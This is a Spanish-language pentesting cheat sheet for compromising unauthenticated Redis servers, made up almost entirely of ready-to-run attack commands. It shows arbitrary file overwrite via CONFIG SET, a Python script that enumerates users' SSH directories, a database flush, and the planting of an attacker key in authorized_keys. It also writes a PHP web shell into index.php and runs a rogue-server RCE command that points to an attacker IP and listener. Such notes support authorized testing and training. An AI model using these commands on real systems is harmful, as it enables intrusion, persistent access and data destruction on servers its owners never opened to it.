# 6379/TCP (Redis)

## Verificación de existencia de autenticación <a href="#enumeracion-verificacion-de-existencia-de-autenticacion" id="enumeracion-verificacion-de-existencia-de-autenticacion"></a>

```shell
telnet <target> 6379
echo "verificación de autenticación"
$31
verificación de autenticación
quit
+OK
Connection closed by foreign host.
```

## redis-cli <a href="#enumeracion-redis-cli" id="enumeracion-redis-cli"></a>

```shell
redis-cli -h <target> -p 6379
INFO # obtiene información general de Redis
CONFIG GET dir # obtiene directorio actual
CONFIG SET dir "/<path>/" # realiza cambio de directorio
```

* -h = host.
  * \<target> = objetivo.
* -p = puerto 6379/TCP.

### Modificación de archivo <a href="#enumeracion-redis-cli-modificacion-de-archivo" id="enumeracion-redis-cli-modificacion-de-archivo"></a>

```shell
redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "<file-name>" # selecciona archivo a modificar
set <any-name> "contenido a modificar en archivo" # modifica contenido de archivo
save
```

* -h = host.
  * \<target> = objetivo.
* -p = puerto 6379/TCP.

## SSH

### Enumeración manual de usuario y su directorio <a href="#enumeracion-manual-de-usuario-y-su-directorio" id="enumeracion-manual-de-usuario-y-su-directorio"></a>

```shell
redis-cli -h <target> -p 6379
CONFIG SET dir "/home/<user>/.ssh"
```

* -h = host.
  * \<target> = objetivo.
* -p = puerto 6379/TCP.
* \<user> = usuario.

### Enumeración automatizada de usuarios y su directorio (script Python)

```python
import redis

wordlist = "<path-wordlist-usernames>"
pathTemplate = "/home/%(user)s/.ssh"
RedisHost = "<IP>"
RedisPort = 6379

with open(wordlist, "r") as wl:
    usernames = wl.readlines()
    wl.close()

r = redis.StrictRedis(host=RedisHost, port=RedisPort, db=0)
i = 1.0
paths = []

for username in usernames:
    u = username.strip('\r\n')
    path = pathTemplate % {'user': u}
    try:
        r.config_set("dir", path)
        paths.append(path)
        print ("Found: %s" % path)
    except Exception:
        pass
print ("Progress: %2.3f%% \r" % ((100*i)/len(usernames))),
i += 1
```

### Generación de nueva llave publica/privada

```shell
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > id_rsa.txt
```

### Carga de llave publica en archivo "authorized\_keys"

```shell
redis-cli -h <IP> flushall
cat id_rsa.txt | redis-cli -h <IP> -x set key-id_rsa

redis-cli -h <IP>
config set dir <directory-user>/.ssh/
config set dbfilename "authorized_keys"
save
```

### Conexión a servicio SSH utilizando llave privada

```shell
ssh -i id_rsa <user>@<IP>
```

### Exploit automatizado

* <https://github.com/Avinash-acid/Redis-Server-Exploit>

## Webshell

```shell
redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "index.php" # selecciona archivo a modificar
set <any-name> "<?php system($_GET['cmd']);?>" # modifica contenido de archivo
save
```

## Exploits

### Metasploit

```shell
use exploit/linux/redis/redis_replication_cmd_exec
```

* <https://github.com/jas502n/Redis-RCE>

```shell
python3 redis-rce.py -r <target> -p 6379 -L <attacker-IP-address> -P <listen-port> -f exp_lin.so
```
